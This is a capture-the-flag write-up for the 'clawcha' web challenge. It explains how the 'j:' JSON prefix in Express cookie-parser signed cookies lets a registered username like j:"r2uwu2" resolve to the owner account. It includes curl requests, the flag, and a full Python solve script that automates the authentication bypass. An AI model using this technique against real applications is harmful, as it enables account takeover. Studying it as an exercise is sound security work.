Summary
Solved this one on day two. Looked like a silly gacha claw machine challenge but the real bug was in how cookies get parsed.
Initial Testing
I started by poking at the /claw endpoint, sending
random values for item - flag,
__proto__, arrays, numbers, whatever.
curl -s https://clawcha.chall.lac.tf/claw \
-H 'content-type: application/json' \
-d '{"item":"flag"}'
{"success":false,"msg":"better luck next time"}
Source Review
Nothing. So I looked at the source. There's a hardcoded owner account:
const users = new Map([
['r2uwu2', { username: 'r2uwu2', password: secret, owner: true }],
]);
Login and register share the same endpoint, and user data is kept in memory through a Map.
Vulnerability
The actual vulnerability is in how signed cookies are handled:
app.use(cookieParser(secret));
...
if (typeof req.signedCookies.username === 'string') {
if (users.has(req.signedCookies.username)) {
res.locals.user = users.get(req.signedCookies.username);
}
}
The server validates the signature, then tries to JSON-parse any
cookie value that starts with j:. So if you
register a username like j:"r2uwu2", the server
stores it as-is in the Map, but when it reads the signed cookie
back it parses the JSON and gets the string
r2uwu2 - which maps to the owner account.
Exploit Path
curl -s https://clawcha.chall.lac.tf/claw \
-b cookies.txt \
-H 'content-type: application/json' \
-d '{"item":"flag"}'
{"success":true,"msg":"lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3}"}
Solve Script
Solve script:
#!/usr/bin/env python3
import argparse
import sys
import requests
def _solve_once(base_url: str) -> str:
base_url = base_url.rstrip("/")
s = requests.Session()
password = "x"
last_login = None
for spaces in range(0, 32):
username = f'j:{" " * spaces}"r2uwu2"'
r = s.post(f"{base_url}/login", json={"username": username, "password": password}, timeout=10)
r.raise_for_status()
j = r.json()
last_login = j
if j.get("success"):
break
else:
raise RuntimeError(f"login failed: {last_login}")
r = s.post(f"{base_url}/claw", json={"item": "flag"}, timeout=10)
r.raise_for_status()
j = r.json()
if not j.get("success"):
raise RuntimeError(f"claw failed: {j}")
return j["msg"]
def solve(base_url: str) -> str:
if not base_url.startswith(("http://", "https://")):
last = None
for scheme in ("https://", "http://"):
try:
return _solve_once(scheme + base_url)
except requests.exceptions.RequestException as e:
last = e
raise last
try:
return _solve_once(base_url)
except requests.exceptions.RequestException:
if base_url.startswith("https://"):
return _solve_once("http://" + base_url.removeprefix("https://"))
raise
def main() -> int:
ap = argparse.ArgumentParser(description="Exploit clawcha to read the flag")
ap.add_argument(
"--base-url",
default="https://clawcha.chall.lac.tf",
help="Base URL (default: https://clawcha.chall.lac.tf)",
)
args = ap.parse_args()
try:
flag = solve(args.base_url)
except Exception as e:
print(f"error: {e}", file=sys.stderr)
return 1
print(flag)
return 0
if __name__ == "__main__":
raise SystemExit(main())
Run
python3 solve.py --base-url clawcha.chall.lac.tf
Final Note
Spent way too long trying random stuff on the
/claw endpoint before actually reading the
signed cookie flow. The j: prefix trick was the
whole challenge.